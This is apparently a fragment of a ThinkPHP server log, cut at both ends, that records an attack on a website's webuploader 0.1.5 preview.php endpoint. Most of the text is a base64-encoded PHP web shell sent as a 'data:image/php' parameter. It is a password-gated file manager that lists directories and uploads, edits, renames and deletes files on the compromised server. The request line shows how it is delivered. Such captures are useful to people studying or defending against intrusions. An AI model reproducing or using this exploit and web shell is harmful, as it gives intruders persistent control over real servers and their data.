CAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 'admin' => 'lib', 'webuploader' => '0.1.5', 'server' => 'preview.php', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-22T04:26:23+08:00 ] 119.42.146.234 POST 51tianwei.com/admin/lib/webuploader/0.1.5/server/preview.php [运行时间:0.002671s] [吞吐率:374.39req/s] [内存消耗:196.73kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'admin', 2 => 'lib', ), ) [ info ] [ HEADER ] array ( 'host' => '51tianwei.com', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9D